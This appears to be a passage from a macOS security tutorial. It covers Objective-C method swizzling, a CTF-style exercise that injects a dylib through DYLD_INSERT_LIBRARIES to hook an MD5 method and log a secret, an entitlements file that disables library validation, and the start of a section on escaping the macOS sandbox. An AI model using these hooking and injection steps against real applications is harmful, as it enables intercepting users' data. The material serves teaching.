<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">Class</span> <span class="n">class</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSString</span> <span class="nf">class</span><span class="p">];</span>
        <span class="n">SEL</span> <span class="n">originalSelector</span> <span class="o">=</span> <span class="k">@selector</span><span class="p">(</span><span class="n">length</span><span class="p">);</span>
        <span class="n">SEL</span> <span class="n">swizzledSelector</span> <span class="o">=</span> <span class="k">@selector</span><span class="p">(</span><span class="n">custom_length</span><span class="p">);</span>
        
        <span class="n">Method</span> <span class="n">originalMethod</span> <span class="o">=</span> <span class="n">class_getInstanceMethod</span><span class="p">(</span><span class="n">class</span><span class="p">,</span> <span class="n">originalSelector</span><span class="p">);</span>
        <span class="n">Method</span> <span class="n">swizzledMethod</span> <span class="o">=</span> <span class="n">class_getInstanceMethod</span><span class="p">(</span><span class="n">class</span><span class="p">,</span> <span class="n">swizzledSelector</span><span class="p">);</span>
        
        <span class="n">method_exchangeImplementations</span><span class="p">(</span><span class="n">originalMethod</span><span class="p">,</span> <span class="n">swizzledMethod</span><span class="p">);</span>
        
        <span class="c1">// Test the swizzling</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">testString</span> <span class="o">=</span> <span class="s">@"Hello, World!"</span><span class="p">;</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Length: %lu"</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)[</span><span class="n">testString</span> <span class="nf">length</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li><strong>Class and Selectors</strong>: We obtain the <code class="language-plaintext highlighter-rouge">NSString</code> class and the selectors for the original and custom methods (<code class="language-plaintext highlighter-rouge">length</code> and <code class="language-plaintext highlighter-rouge">custom_length</code>).</li>
  <li><strong>Methods</strong>: We use <code class="language-plaintext highlighter-rouge">class_getInstanceMethod</code> to retrieve the method implementations for these selectors.</li>
  <li><strong>Swizzling</strong>: We use <code class="language-plaintext highlighter-rouge">method_exchangeImplementations</code> to swap the implementations of the two methods.</li>
  <li><strong>Test</strong>: We create an <code class="language-plaintext highlighter-rouge">NSString</code> instance and call the <code class="language-plaintext highlighter-rouge">length</code> method, which now logs a message due to our swizzling.</li>
</ul>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024-06-25 12:00:00.000000+0000 swizzling[10172:4293511] Hooked the length method!
2024-06-25 12:00:00.000000+0000 swizzling[10172:4293511] Length: 13
</code></pre></div></div>

<h4 id="technique-2-using-c-functions">Technique 2: Using C Functions</h4>

<p>For the second technique, we create a new C function and use <code class="language-plaintext highlighter-rouge">method_setImplementation</code> to update the method’s implementation pointer.</p>

<p><strong>Step 1: Define the C Function</strong></p>

<p>We define our custom <code class="language-plaintext highlighter-rouge">custom_length</code> function and a placeholder for the original function pointer.</p>

<p><strong>Code:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
#import &lt;objc/runtime.h&gt;
</span>
<span class="k">static</span> <span class="n">IMP</span> <span class="n">original_length</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

<span class="k">static</span> <span class="n">NSUInteger</span> <span class="nf">custom_length</span><span class="p">(</span><span class="n">id</span> <span class="n">self</span><span class="p">,</span> <span class="n">SEL</span> <span class="n">_cmd</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Hooked the length method with C function!"</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">((</span><span class="n">NSUInteger</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="n">id</span><span class="p">,</span> <span class="n">SEL</span><span class="p">))</span><span class="n">original_length</span><span class="p">)(</span><span class="n">self</span><span class="p">,</span> <span class="n">_cmd</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li><strong>Static IMP Pointer</strong>: We declare a static IMP (method pointer) to hold the original <code class="language-plaintext highlighter-rouge">length</code> method’s implementation.</li>
  <li><strong>Custom Function</strong>: We define <code class="language-plaintext highlighter-rouge">custom_length</code> to log a message and then call the original <code class="language-plaintext highlighter-rouge">length</code> method using the <code class="language-plaintext highlighter-rouge">original_length</code> pointer. The first two parameters of the function are <code class="language-plaintext highlighter-rouge">id self</code> (the object) and <code class="language-plaintext highlighter-rouge">SEL _cmd</code> (the selector).</li>
</ul>

<p><strong>Step 2: Update the Method Implementation</strong></p>

<p>Next, we update the method implementation to point to our custom function.</p>

<p><strong>Code:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">Class</span> <span class="n">class</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSString</span> <span class="nf">class</span><span class="p">];</span>
        <span class="n">Method</span> <span class="n">originalMethod</span> <span class="o">=</span> <span class="n">class_getInstanceMethod</span><span class="p">(</span><span class="n">class</span><span class="p">,</span> <span class="k">@selector</span><span class="p">(</span><span class="n">length</span><span class="p">));</span>
        
        <span class="n">original_length</span> <span class="o">=</span> <span class="n">method_setImplementation</span><span class="p">(</span><span class="n">originalMethod</span><span class="p">,</span> <span class="p">(</span><span class="n">IMP</span><span class="p">)</span><span class="n">custom_length</span><span class="p">);</span>
        
        <span class="c1">// Test the swizzling</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">testString</span> <span class="o">=</span> <span class="s">@"Hello, World!"</span><span class="p">;</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Length: %lu"</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)[</span><span class="n">testString</span> <span class="nf">length</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li><strong>Class and Method</strong>: We obtain the <code class="language-plaintext highlighter-rouge">NSString</code> class and the <code class="language-plaintext highlighter-rouge">length</code> method.</li>
  <li><strong>Update Implementation</strong>: We use <code class="language-plaintext highlighter-rouge">method_setImplementation</code> to replace the original <code class="language-plaintext highlighter-rouge">length</code> method with our <code class="language-plaintext highlighter-rouge">custom_length</code> function. The original method’s implementation is stored in <code class="language-plaintext highlighter-rouge">original_length</code>.</li>
  <li><strong>Test</strong>: We create an <code class="language-plaintext highlighter-rouge">NSString</code> instance and call the <code class="language-plaintext highlighter-rouge">length</code> method, which now logs a message due to our custom function.</li>
</ul>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024-06-25 12:00:00.000000+0000 swizzling[10419:4306252] Hooked the length method with C function!
2024-06-25 12:00:00.000000+0000 swizzling[10419:4306252] Length: 13
</code></pre></div></div>

<h3 id="how-it-works-">How It Works ?</h3>

<h4 id="categories-and-swizzling">Categories and Swizzling</h4>

<ol>
  <li><strong>Categories</strong>: Categories in Objective-C allow you to add new methods to existing classes without subclassing. This feature is used to introduce the <code class="language-plaintext highlighter-rouge">custom_length</code> method to the <code class="language-plaintext highlighter-rouge">NSString</code> class.</li>
  <li><strong>Selectors and Methods</strong>: A selector (<code class="language-plaintext highlighter-rouge">SEL</code>) is the name of a method, and a method (<code class="language-plaintext highlighter-rouge">Method</code>) is a reference to the implementation of that method.</li>
  <li><strong>Swizzling</strong>: Swizzling involves swapping the implementations of two methods. <code class="language-plaintext highlighter-rouge">method_exchangeImplementations</code> is used to exchange the implementations of the original method and the custom method. After swizzling, calling the original method will execute the custom implementation and vice versa.</li>
</ol>

<h4 id="c-functions-and-swizzling">C Functions and Swizzling</h4>

<ol>
  <li><strong>IMP Pointers</strong>: An <code class="language-plaintext highlighter-rouge">IMP</code> is a pointer to the start of a method implementation. By storing the original method’s <code class="language-plaintext highlighter-rouge">IMP</code>, you can call the original method from within your custom implementation.</li>
  <li><strong>Custom Function</strong>: The custom function mimics the method signature of the original method and can perform additional operations (e.g., logging) before or after calling the original method.</li>
  <li><strong>Method Replacement</strong>: <code class="language-plaintext highlighter-rouge">method_setImplementation</code> replaces the implementation of a method with a new function, allowing you to intercept calls to the method and redirect them to your custom function.</li>
</ol>

<h2 id="guide-for-method-swizzling-with-md5app">Guide for Method Swizzling with MD5App</h2>

<p>In this example, we will create an Objective-C application that generates a random message, computes its MD5 hash, and then uses method swizzling to intercept and log the original message. We will break down each part of the process to explain how and why it works.</p>

<h3 id="step-1-create-the-md5-application">Step 1: Create the MD5 Application</h3>

<p>First, we create a simple Objective-C application that generates a random message, computes its MD5 hash, and prints out the hash.</p>

<p><strong>MD5App.m:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
#import &lt;CommonCrypto/CommonDigest.h&gt;
</span>
<span class="c1">// Interface for the MD5 generator class</span>
<span class="k">@interface</span> <span class="nc">MD5Generator</span> <span class="p">:</span> <span class="nc">NSObject</span>
<span class="k">-</span> <span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nf">md5HashOfString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">input</span><span class="p">;</span>
<span class="k">@end</span>

<span class="k">@implementation</span> <span class="nc">MD5Generator</span>

<span class="c1">// Function to compute MD5 hash</span>
<span class="k">-</span> <span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nf">md5HashOfString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">input</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">cStr</span> <span class="o">=</span> <span class="p">[</span><span class="n">input</span> <span class="nf">UTF8String</span><span class="p">];</span>
    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">digest</span><span class="p">[</span><span class="nf">CC_MD5_DIGEST_LENGTH</span><span class="p">];</span>
    <span class="n">CC_MD5</span><span class="p">(</span><span class="n">cStr</span><span class="p">,</span> <span class="p">(</span><span class="n">CC_LONG</span><span class="p">)</span><span class="n">strlen</span><span class="p">(</span><span class="n">cStr</span><span class="p">),</span> <span class="n">digest</span><span class="p">);</span>

    <span class="n">NSMutableString</span> <span class="o">*</span><span class="n">output</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSMutableString</span> <span class="nf">stringWithCapacity</span><span class="p">:</span><span class="n">CC_MD5_DIGEST_LENGTH</span> <span class="o">*</span> <span class="mi">2</span><span class="p">];</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">CC_MD5_DIGEST_LENGTH</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="p">[</span><span class="n">output</span> <span class="nf">appendFormat</span><span class="p">:</span><span class="s">@"%02x"</span><span class="p">,</span> <span class="n">digest</span><span class="p">[</span><span class="nf">i</span><span class="p">]];</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">output</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">@end</span>

<span class="c1">// Function to generate a random string of a given length</span>
<span class="n">NSString</span> <span class="o">*</span><span class="nf">generateRandomString</span><span class="p">(</span><span class="n">NSUInteger</span> <span class="n">length</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">NSString</span> <span class="o">*</span><span class="n">letters</span> <span class="o">=</span> <span class="s">@"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"</span><span class="p">;</span>
    <span class="n">NSMutableString</span> <span class="o">*</span><span class="n">randomString</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSMutableString</span> <span class="nf">stringWithCapacity</span><span class="p">:</span><span class="n">length</span><span class="p">];</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">NSUInteger</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">length</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="p">[</span><span class="n">randomString</span> <span class="nf">appendFormat</span><span class="p">:</span> <span class="s">@"%C"</span><span class="p">,</span> <span class="p">[</span><span class="n">letters</span> <span class="nf">characterAtIndex</span><span class="p">:</span> <span class="n">arc4random_uniform</span><span class="p">((</span><span class="kt">uint32_t</span><span class="p">)[</span><span class="n">letters</span> <span class="nf">length</span><span class="p">])]];</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">randomString</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Function to get user input from the command line</span>
<span class="n">NSString</span> <span class="o">*</span><span class="nf">getUserInput</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">inputChars</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">inputChars</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">[[</span><span class="n">NSString</span> <span class="nf">stringWithUTF8String</span><span class="p">:</span><span class="n">inputChars</span><span class="p">]</span> <span class="nf">stringByTrimmingCharactersInSet</span><span class="p">:[</span><span class="n">NSCharacterSet</span> <span class="nf">newlineCharacterSet</span><span class="p">]];</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">MD5Generator</span> <span class="o">*</span><span class="n">generator</span> <span class="o">=</span> <span class="p">[[</span><span class="n">MD5Generator</span> <span class="nf">alloc</span><span class="p">]</span> <span class="nf">init</span><span class="p">];</span>

        <span class="c1">// Generate random message</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">message</span> <span class="o">=</span> <span class="n">generateRandomString</span><span class="p">(</span><span class="mi">20</span><span class="p">);</span> <span class="c1">// Random message of length 20</span>

        <span class="c1">// Compute MD5 hash of the message</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">md5Hash</span> <span class="o">=</span> <span class="p">[</span><span class="n">generator</span> <span class="nf">md5HashOfString</span><span class="p">:</span><span class="n">message</span><span class="p">];</span>
        <span class="c1">//NSLog(@"Generated Message: %@", message);</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"MD5 Hash: %@"</span><span class="p">,</span> <span class="n">md5Hash</span><span class="p">);</span>

        <span class="c1">// Ask user to enter the string</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Please enter the original string:"</span><span class="p">);</span>

        <span class="n">NSString</span> <span class="o">*</span><span class="n">userInput</span> <span class="o">=</span> <span class="n">getUserInput</span><span class="p">();</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">userInputHash</span> <span class="o">=</span> <span class="p">[</span><span class="n">generator</span> <span class="nf">md5HashOfString</span><span class="p">:</span><span class="n">userInput</span><span class="p">];</span>

        <span class="c1">// Compare hashes</span>
        <span class="k">if</span> <span class="p">([</span><span class="n">userInputHash</span> <span class="nf">isEqualToString</span><span class="p">:</span><span class="n">md5Hash</span><span class="p">])</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="s">@"[+] Congrats, You swizzle it successfully"</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="s">@"[-] You need to be more swizzly :("</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li><strong>Import Statements</strong>: We import the necessary Foundation framework and CommonCrypto library for MD5 hashing.</li>
  <li><strong>MD5 Generator Class</strong>:
    <ul>
      <li><strong>md5HashOfString</strong>: Computes the MD5 hash of a given input string.</li>
    </ul>
  </li>
  <li><strong>Random String Generation</strong>:
    <ul>
      <li><strong>generateRandomString</strong>: Generates a random string of a given length using alphanumeric characters.</li>
    </ul>
  </li>
  <li><strong>User Input</strong>:
    <ul>
      <li><strong>getUserInput</strong>: Reads user input from the command line.</li>
    </ul>
  </li>
  <li><strong>Main Function</strong>:
    <ul>
      <li>Generates a random message and computes its MD5 hash.</li>
      <li>Prompts the user to enter the original message.</li>
      <li>Compares the hash of the user input with the computed hash.</li>
      <li>Prints a success message if the hashes match, otherwise prints a failure message.</li>
    </ul>
  </li>
</ol>

<h3 id="step-2-swizzle-the-md5-hash-method-to-log-the-original-message">Step 2: Swizzle the MD5 Hash Method to Log the Original Message</h3>

<p>Next, we will use method swizzling to intercept the <code class="language-plaintext highlighter-rouge">md5HashOfString:</code> method and log the original message.</p>

<p><strong>Swizzle.m:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
#import &lt;objc/runtime.h&gt;
</span>
<span class="c1">// Function pointer for the original md5HashOfString function</span>
<span class="k">static</span> <span class="n">NSString</span><span class="o">*</span> <span class="p">(</span><span class="o">*</span><span class="n">original_md5HashOfString</span><span class="p">)(</span><span class="n">id</span><span class="p">,</span> <span class="n">SEL</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">)</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

<span class="c1">// Custom function to log the message and call the original md5HashOfString</span>
<span class="k">static</span> <span class="n">NSString</span><span class="o">*</span> <span class="nf">custom_md5HashOfString</span><span class="p">(</span><span class="n">id</span> <span class="n">self</span><span class="p">,</span> <span class="n">SEL</span> <span class="n">_cmd</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="n">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Intercepted MD5 message: %@"</span><span class="p">,</span> <span class="n">input</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">original_md5HashOfString</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">_cmd</span><span class="p">,</span> <span class="n">input</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Constructor function to perform the swizzling</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">customConstructor</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Class</span> <span class="n">generatorClass</span> <span class="o">=</span> <span class="n">NSClassFromString</span><span class="p">(</span><span class="s">@"MD5Generator"</span><span class="p">);</span>
    <span class="n">SEL</span> <span class="n">originalSelector</span> <span class="o">=</span> <span class="k">@selector</span><span class="p">(</span><span class="n">md5HashOfString</span><span class="o">:</span><span class="p">);</span>
    <span class="n">Method</span> <span class="n">originalMethod</span> <span class="o">=</span> <span class="n">class_getInstanceMethod</span><span class="p">(</span><span class="n">generatorClass</span><span class="p">,</span> <span class="n">originalSelector</span><span class="p">);</span>

    <span class="c1">// Replace the original implementation with the custom implementation</span>
    <span class="n">original_md5HashOfString</span> <span class="o">=</span> <span class="p">(</span><span class="n">NSString</span><span class="o">*</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="n">id</span><span class="p">,</span> <span class="n">SEL</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="n">method_setImplementation</span><span class="p">(</span><span class="n">originalMethod</span><span class="p">,</span> <span class="p">(</span><span class="n">IMP</span><span class="p">)</span><span class="n">custom_md5HashOfString</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li><strong>Import Statements</strong>: We import the necessary Foundation framework and Objective-C runtime for method swizzling.</li>
  <li><strong>Static Function Pointer</strong>: We declare a static function pointer <code class="language-plaintext highlighter-rouge">original_md5HashOfString</code> to hold the original implementation of the <code class="language-plaintext highlighter-rouge">md5HashOfString:</code> method. This allows us to call the original method from within our custom implementation.</li>
  <li><strong>Custom Function</strong>:
    <ul>
      <li><strong>Log the Original Message</strong>: The custom function <code class="language-plaintext highlighter-rouge">custom_md5HashOfString</code> logs the original message.</li>
      <li><strong>Call Original Function</strong>: The original <code class="language-plaintext highlighter-rouge">md5HashOfString:</code> method is called using the stored function pointer, passing along the original parameters.</li>
    </ul>
  </li>
  <li><strong>Constructor Function</strong>:
    <ul>
      <li><strong>Get Method</strong>: The <code class="language-plaintext highlighter-rouge">class_getInstanceMethod</code> function is used to get the method for <code class="language-plaintext highlighter-rouge">md5HashOfString:</code>.</li>
      <li><strong>Replace Implementation</strong>: The <code class="language-plaintext highlighter-rouge">method_setImplementation</code> function is used to replace the original implementation of <code class="language-plaintext highlighter-rouge">md5HashOfString:</code> with our custom implementation. The original implementation is stored in <code class="language-plaintext highlighter-rouge">original_md5HashOfString</code>.</li>
    </ul>
  </li>
</ol>

<h3 id="step-3-compile-and-run">Step 3: Compile and Run</h3>

<p>To compile and run the application with the swizzle library:</p>

<ol>
  <li>
    <p><strong>Compile the MD5 Application</strong>:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> clang <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> CommonCrypto <span class="nt">-o</span> MD5App MD5App.m
</code></pre></div>    </div>
  </li>
</ol>

<p>To allow your application to load dynamic libraries using the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable, you need to add the <code class="language-plaintext highlighter-rouge">com.apple.security.cs.allow-dyld-environment-variables</code> entitlement as well. Here’s how to do it:</p>

<ol>
  <li>
    <p><strong>Create an Entitlements File</strong>:
Create an entitlements file (<code class="language-plaintext highlighter-rouge">entitlements.plist</code>) with the necessary permissions.</p>

    <p><strong>entitlements.plist</strong>:</p>

    <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
 <span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
 <span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
 <span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>com.apple.security.cs.disable-library-validation<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
    <span class="nt">&lt;key&gt;</span>com.apple.security.cs.allow-dyld-environment-variables<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
 <span class="nt">&lt;/dict&gt;</span>
 <span class="nt">&lt;/plist&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Sign the Application</strong>:
Use the <code class="language-plaintext highlighter-rouge">codesign</code> tool to sign the application with the created entitlements.</p>

    <p><strong>Commands</strong>:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">--deep</span> <span class="nt">--force</span> <span class="nt">--verify</span> <span class="nt">--verbose</span> <span class="nt">--entitlements</span> entitlements.plist <span class="nt">--sign</span> <span class="s2">"YOUR_IDENTITY"</span> YOUR_APP_PATH
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Compile the Swizzle Code</strong>:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> clang <span class="nt">-dynamiclib</span> <span class="nt">-framework</span> Foundation <span class="nt">-o</span> Swizzle.dylib Swizzle.m
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Run the Application with the Swizzle Library</strong>:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>./Swizzle.dylib ./MD5App
</code></pre></div>    </div>
  </li>
</ol>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024-06-25 15:30:00.000000+0000 MD5App[12345:67890] Generated Message: &lt;random_message&gt;
2024-06-25 15:30:00.000000+0000 MD5App[12345:67890] MD5 Hash: &lt;md5_hash&gt;
Please enter the original string:
&lt;user_enters_message&gt;
2024-06-25 15:30:00.000000+0000 MD5App[12345:67890] Intercepted MD5 message: &lt;user_enters_message&gt;
Congrats, You swizzle it successfully
</code></pre></div></div>

<p>If the user enters the correct message, it will display “Congrats, You swizzle it successfully”. If the message is incorrect, it will display “You need to be more swizzly :(“. The swizzle library will intercept and log the original message, demonstrating the dynamic interception of method calls.</p>

<h1 id="sandbox-escaping">SandBox Escaping</h1>

<p>The <code class="language-plaintext highlighter-rouge">macOS</code> Sandbox was introduced in Mac OS X 10.5 Leopard, which was released on October 26, 2007. Initially, the sandbox was used to protect specific system services and applications. Over time, its use has expanded, and it has become a critical component of <code class="language-plaintext highlighter-rouge">macOS</code>’s overall security architecture.</p>

<h2 id="fundementals">Fundementals</h2>

<p>The isolation helps prevent applications from accessing unauthorized data and limits the potential damage of a compromised application. The Sandbox achieves this by enforcing strict controls on what resources an application can access and what actions it can perform.</p>

<h3 id="components-of-macos-sandbox">Components of macOS Sandbox</h3>

<ol>
  <li><strong>Userland Daemon (<code class="language-plaintext highlighter-rouge">/usr/libexec/sandboxd</code>)</strong>:
    <ul>
      <li>This daemon enforces sandbox policies and monitors application behavior.</li>
    </ul>
  </li>
  <li><strong>Private Framework (<code class="language-plaintext highlighter-rouge">/System/Library/PrivateFrameworks/AppSandbox.framework</code>)</strong>:
    <ul>
      <li>This framework provides APIs for managing and enforcing sandbox policies.</li>
    </ul>
  </li>
  <li><strong>Kernel Extension (<code class="language-plaintext highlighter-rouge">/System/Library/Extensions/Sandbox.kext</code>)</strong>:
    <ul>
      <li>The kernel extension implements the core sandboxing functionality, extending the Mandatory Access Control Framework (<code class="language-plaintext highlighter-rouge">MACF</code>) of the macOS kernel.</li>
    </ul>
  </li>
</ol>

<h3 id="sandbox-profile-language">Sandbox Profile Language</h3>

<p>The Sandbox Profile Language (<code class="language-plaintext highlighter-rouge">SBPL</code>) is used to define the rules and policies for sandboxing applications in macOS. These profiles determine what an application can and cannot do, ensuring that applications run in a restricted environment to enhance security.</p>

<h4 id="sandbox-profile-paths">Sandbox Profile Paths</h4>

<p>When an application is sandboxed, it is contained within a specific directory under <code class="language-plaintext highlighter-rouge">~/Library/Containers</code>. The profile path includes:</p>
<ul>
  <li><strong>Container Directory</strong>: <code class="language-plaintext highlighter-rouge">~/Library/Containers/&lt;bundle_id&gt;</code></li>
  <li><strong>Profile Data File</strong>: <code class="language-plaintext highlighter-rouge">~/Library/Containers/&lt;bundle_id&gt;/Container.plist</code></li>
  <li><strong>Data Directory</strong>: <code class="language-plaintext highlighter-rouge">~/Library/Containers/&lt;bundle_id&gt;/Data</code></li>
</ul>

<p>The <code class="language-plaintext highlighter-rouge">Container.plist</code> file contains configuration data about the sandbox environment, including entitlements and access permissions.</p>

<h3 id="app-sandboxing-process">App Sandboxing Process</h3>

<p><img width="1294" height="488" alt="image" src="https://github.com/user-attachments/assets/d111c62f-ab97-4b25-9f25-0020605f5061" /></p>

<ol>
  <li><strong>Application Start</strong>:
    <ul>
      <li>The process begins when the application is launched.</li>
    </ul>
  </li>
  <li><strong>Dynamic Loader (dyld)</strong>:
    <ul>
      <li>The dynamic loader (<code class="language-plaintext highlighter-rouge">dyld</code>) loads the <code class="language-plaintext highlighter-rouge">libSystem.B.dylib</code> library, which is essential for system functions.</li>
    </ul>
  </li>
  <li><strong>Library Initialization (libSystem)</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">libSystem.B.dylib</code> initializes and makes a call to <code class="language-plaintext highlighter-rouge">libsystem_secinit.dylib</code>.</li>
    </ul>
  </li>
  <li><strong>Sandbox Registration (libSecInit)</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">libsystem_secinit.dylib</code>’s <code class="language-plaintext highlighter-rouge">_libsecinit_appsandbox</code> function makes an XPC call to <code class="language-plaintext highlighter-rouge">secinitd</code> daemon to register the application and retrieve sandbox profile information.</li>
    </ul>
  </li>
  <li><strong>Sandbox Profile Retrieval (secinitd)</strong>:
    <ul>
      <li>The <code class="language-plaintext highlighter-rouge">secinitd</code> daemon sends back the sandbox profile and related information.</li>
    </ul>
  </li>
  <li><strong>Kernel Extension (Kernel)</strong>:
    <ul>
